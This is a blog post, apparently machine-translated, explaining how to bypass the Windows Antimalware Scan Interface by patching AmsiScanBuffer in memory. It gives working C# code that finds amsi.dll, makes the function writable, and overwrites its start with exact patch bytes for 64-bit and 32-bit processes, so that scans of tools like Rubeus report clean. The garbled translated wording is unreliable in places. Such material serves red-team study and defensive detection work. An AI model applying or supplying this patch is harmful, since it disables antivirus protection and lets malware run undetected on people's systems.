Memory patching AMSI bypass

Posted by William on Sat, 01 Jan 2022 05:21:17 +0100

What is AMSI?

back Malware scanning interface Is a set of windows APIs that allow any application to integrate with an anti-virus product (assuming that the product acts as an AMSI provider). Like many third-party AV solutions, Windows Defender naturally acts as an AMSI provider.

In short, AMSI acts as a bridge between applications and AV engines. Take PowerShell as an example -- when a user tries to execute any code, PowerShell will submit it to AMSI before execution. If the AV engine thinks its content is malicious, AMSI will report the content and PowerShell will not run the code. This is a good solution for script based malware that runs in memory and has never touched disk.

Any application developer can use AMSI to scan user supplied input.

amsi.dll

For applications that submit samples to AMSI, it must use AMSI DLL is loaded into its address space and calls a series of AMSI API s exported from the DLL. We can use APIMonitor and so on To hook PowerShell and monitor which API s it calls. In order, these are usually:

We can use some convenient P/Invoke to copy it in C#.

using System;
using System.Runtime.InteropServices;

namespace ConsoleApp
{
    class Program
    {
        static void Main(string[] args)
        {
        }

        [DllImport("amsi.dll")]
        static extern uint AmsiInitialize(string appName, out IntPtr amsiContext);

        [DllImport("amsi.dll")]
        static extern IntPtr AmsiOpenSession(IntPtr amsiContext, out IntPtr amsiSession);

        [DllImport("amsi.dll")]
        static extern uint AmsiScanBuffer(IntPtr amsiContext, byte[] buffer, uint length, string contentName, IntPtr session, out AMSI_RESULT result);

        enum AMSI_RESULT
        {
            AMSI_RESULT_CLEAN = 0,
            AMSI_RESULT_NOT_DETECTED = 1,
            AMSI_RESULT_BLOCKED_BY_ADMIN_START = 16384,
            AMSI_RESULT_BLOCKED_BY_ADMIN_END = 20479,
            AMSI_RESULT_DETECTED = 32768
        }
    }
}

All we have to do is initialize AMSI, open a new session and send samples to it.

// Initialise AMSI and open a session
AmsiInitialize("TestApp", out IntPtr amsiContext);
AmsiOpenSession(amsiContext, out IntPtr amsiSession);

// Read Rubeus
var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");

// Scan Rubeus
AmsiScanBuffer(amsiContext, rubeus, (uint)rubeus.Length, "Rubeus", amsiSession, out AMSI_RESULT amsiResult);

// Print result
Console.WriteLine(amsiResult);

This gives us the result AMSI_RESULT_DETECTED.

Memory patch

Process Hacker Tools such as AMSI will display The DLL is indeed loaded into the process after AMSI initialization. To override a function in memory, such as AmsiScanBuffer, we need to get its location in memory.

We can use it first NET System. The diagnostics class looks up amsi The base address of DLL is then invoked. GetProcAddress API to achieve this.

var modules = Process.GetCurrentProcess().Modules;
var hAmsi = IntPtr.Zero;

foreach (ProcessModule module in modules)
{
    if (module.ModuleName == "amsi.dll")
    {
        hAmsi = module.BaseAddress;
        break;
    }
}

var asb = GetProcAddress(hAmsi, "AmsiScanBuffer");

As far as I am concerned, the AmsiScanBuffer is located at 0x00007ffe26aa35e0. By viewing with amsi DLL, you can confirm that it is located in the main RX area of the module.

To override the instructions in this area, we need to use VirtualProtect Make it writable.

var garbage = Encoding.UTF8.GetBytes("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");

// Set region to RWX
VirtualProtect(asb, (UIntPtr)garbage.Length, 0x40, out uint oldProtect);

// Copy garbage bytes
Marshal.Copy(garbage, 0, asb, garbage.Length);

// Retore region to RX
VirtualProtect(asb, (UIntPtr)garbage.Length, oldProtect, out uint _);

Then, you will see A lot of A in this memory area, and allowing the application to call AmsiScanBuffer will cause the process to crash (because obviously A is not A valid instruction).

We can put countless instructions here. The general idea is to change the behavior to prevent amiscanbuffer from returning positive results.

use IDA Tools such as analysis DLL can provide some ideas.

One thing amiscanbuffer does is check the parameters provided to it. If it finds an invalid parameter, it branches to loc_1800036B5. Here, it moves 0x80070057 into eax, bypassing the branch that is actually scanned and returned.

80070057 is a HRESULT return code For E_INVALIDARG.

We can copy this behavior by overwriting the beginning of the AmsiScanBuffer:

mov eax, 0x80070057
ret

defuse.ca There is a useful tool for converting assemblies to hexadecimal and byte arrays.

Instead of var garbage:

var patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

This will cause the return code of AmsiScanBuffer to be E_INVALIDARG, but the actual scan result is 0 - usually interpreted as AMSI_RESULT_CLEAN.

It seems that no application actually checks whether the return code is not S_OK, and as long as the scan result itself is not equal to or greater than 32768, the content will continue to load - this must be PowerShell and NET.

The above applies to 64 bit, but the assembly required for 32 bit is slightly different due to the way data is returned on the stack.

mov eax, 0x80070057
ret 0x18